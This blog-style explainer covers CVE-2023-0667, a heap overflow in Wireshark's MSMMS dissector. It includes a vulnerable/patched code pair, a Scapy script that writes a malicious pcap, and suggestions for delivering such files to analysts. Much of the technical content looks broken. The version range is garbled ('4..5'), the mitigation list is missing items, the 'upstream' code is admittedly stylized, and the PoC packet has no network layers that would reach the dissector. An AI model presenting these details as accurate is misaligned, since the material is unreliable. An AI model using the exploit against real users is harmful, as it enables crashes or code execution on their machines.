CVE-2023-0667 - How a Malformed MSMMS Packet Can Crash or Compromise Your Wireshark (With Exploit Insight)

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Wireshark is the world’s most widely-used network protocol analyzer—a go-to tool for network pros and security geeks. But with great power comes great responsibility, especially when it comes to keeping your tool up to date. In early 2023, security researchers identified a scary bug in Wireshark that could let a specially-crafty packet take over your system. This post will walk you through CVE-2023-0667, show what’s going on beneath the hood, how it can be exploited, and why you really want to patch ASAP.

Affected Versions: Wireshark 4..5 and earlier

- Impact: Application crash, or even arbitrary code execution (attacker controls the process running Wireshark)

References:

- NVD Entry: CVE-2023-0667
- Wireshark Security Advisory
- Wireshark Bug Report

Understanding the MSMMS Vulnerability

MSMMS stands for Microsoft Media Server Multi-Stream. It’s not a protocol most everyday users deal with, but Wireshark includes a dissector for it. A *dissector* is a bit of code that cracks open a packet and shows you its inner parts. If there’s a bug there, feeding it weird input can do unexpected things.

What went wrong?
The MSMMS dissector in Wireshark trusted a length value given in the packet—*without making sure it wasn’t too big*. If an attacker crafted a packet that claims its payload (or field) is longer than the allocated buffer, Wireshark would copy too much data, writing past the end and into unknown territory in memory. That’s a classic *heap buffer overflow*.

If you’re lucky, this just crashes Wireshark. But with finesse, an attacker can use it to run code as the user running Wireshark. If you’re running as admin, that’s “game over.”

Code Insight: What Leaked, and How

Here’s a stylized version of the vulnerable code (from the upstream commit), showing what went wrong and how it was fixed:

// Vulnerable snippet before patch
/* length is attacker-controlled! */
guint16 length = tvb_get_letohs(tvb, offset);
guint8 data[MAX_MSMMS_DATA_SIZE]; // usually 1024 bytes

tvb_memcpy(tvb, data, offset, length); // No bounds check!

What should have happened? The length should have been checked so it never exceeds the size of data:

// After patch
guint16 length = tvb_get_letohs(tvb, offset);
if (length > MAX_MSMMS_DATA_SIZE) {
    // handle error, e.g., abort parsing
} else {
    tvb_memcpy(tvb, data, offset, length); // Safe use
}

Crafting an Attack: Proof of Concept

An attacker would create a .pcap file (or stream) containing a fake MSMMS packet. The key is to set the length field much higher than what’s actually in the packet. If Wireshark reads the pcaps or sees the packet live (even in promiscuous mode), the overflow can happen.

Here’s a simplified Python example (for *learning*—not for nefarious use!)

# Requires scapy
from scapy.all import *

class MSMMS(Packet):
    name = "MSMMS"
    fields_desc = [
        ShortField("length", 2048),  # deliberately too big!
        StrFixedLenField("payload", "A"*4, length=4)
    ]

# Forge the MSMMS packet
pkt = MSMMS() / Raw(load="AAAA")

# Save to PCAP
wrpcap("exploit_msmms.pcap", pkt)

Open this file in an affected Wireshark, and (if all stars align), you trigger the bug.
Note: It’s not a guaranteed code execution each time; exploit reliability goes up if an attacker can tailor heap layout, deliver optimized payloads, or even use a fuzzer.

- An attacker could

- Post/share an innocent-looking .pcap file to a Wireshark user (especially in security, research, or incident response contexts).

Send live packets over a local network if they have access, to target analysts.

- Exploit difficulty: This is a serious memory corruption bug, and code execution is possible, but often needs to defeat modern protections (ASLR, DEP, etc.) for reliable exploitation. Still, *crashing* Wireshark and causing a denial-of-service is dead simple.

Be Suspicious of Shared PCAPs. Don’t open files you can’t trust.

3. Use a Low-Privilege Account for analysis, and ideally, run Wireshark inside a virtual machine or sandbox.
4. Disable Unused Dissectors: If you don’t need MSMMS, you can disable it in protocol preferences.

The Lesson: Deep Packet Inspection Is Dangerous

This bug is a classic demonstration of “never trust external input”—whether it’s a length field, pointer, or even a flag. Popular tools like Wireshark have a broad attack surface, since they routinely parse attacker-controlled data.

If you analyze real incident data, treat your analysis tools as exploitable attack surfaces. Always patch.

For More Information

- Official Wireshark Security Advisory
- CVE-2023-0667 in NVD
- Bug Report, with Technical Details
- Patch Diff

Timeline

Published on: 06/07/2023 03:15:00 UTC
Last modified on: 06/13/2023 18:51:00 UTC